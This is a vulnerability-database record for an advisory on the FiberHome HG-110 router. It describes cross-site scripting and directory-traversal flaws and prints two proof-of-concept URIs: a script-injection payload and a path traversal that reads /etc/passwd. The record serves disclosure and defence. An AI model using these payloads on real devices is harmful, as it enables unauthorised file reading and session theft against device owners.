Details of VAR-E-201104-0172

ID

VAR-E-201104-0172

EDB ID

35597

TITLE

FiberHome HG-110 - Cross-Site Scripting / Directory Traversal - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 35597

DESCRIPTION

FiberHome HG-110 - Cross-Site Scripting / Directory Traversal.. remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 35597

AFFECTED PRODUCTS

vendor:	fiberhome	model:	hg-110	scope:	-	version:	-	Trust: 1.6
vendor:	fiberhome	model:	hg-110	scope:	eq	version:	1.0	Trust: 0.3

sources: BID: 47277 // EXPLOIT-DB: 35597 // EDBNET: 56761

EXPLOIT

source: https://www.securityfocus.com/bid/47277/info

Fiberhome HG-110 is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks.

Fiberhome HG-110 firmware 1.0.0 is vulnerable other versions may also be affected.

The following example URIs are available:

http://www.example.com/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns

Local File Include and Directory/Path Traversal:

-
http://www.example.com/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns

Trust: 1.0

sources: EXPLOIT-DB: 35597

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 35597

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 35597

TYPE

Cross-Site Scripting / Directory Traversal

Trust: 1.0

sources: EXPLOIT-DB: 35597

CREDITS

Zerial

Trust: 0.6

sources: EXPLOIT-DB: 35597

EXTERNAL IDS

db:	BID	id:	47277	Trust: 1.9
db:	EXPLOIT-DB	id:	35597	Trust: 1.6
db:	EDBNET	id:	56761	Trust: 0.6

sources: BID: 47277 // EXPLOIT-DB: 35597 // EDBNET: 56761

REFERENCES

url:	https://www.securityfocus.com/bid/47277/info	Trust: 1.0
url:	https://www.exploit-db.com/exploits/35597/	Trust: 0.6
url:	http://seclists.org/fulldisclosure/2011/apr/132	Trust: 0.3

sources: BID: 47277 // EXPLOIT-DB: 35597 // EDBNET: 56761

SOURCES

db:	BID	id:	47277
db:	EXPLOIT-DB	id:	35597
db:	EDBNET	id:	56761

LAST UPDATE DATE

2022-07-27T09:25:09.468000+00:00

SOURCES UPDATE DATE

db:

BID

id:

47277

date:

2011-04-08T00:00:00

SOURCES RELEASE DATE

db:	BID	id:	47277	date:	2011-04-08T00:00:00
db:	EXPLOIT-DB	id:	35597	date:	2011-04-08T00:00:00
db:	EDBNET	id:	56761	date:	2011-04-08T00:00:00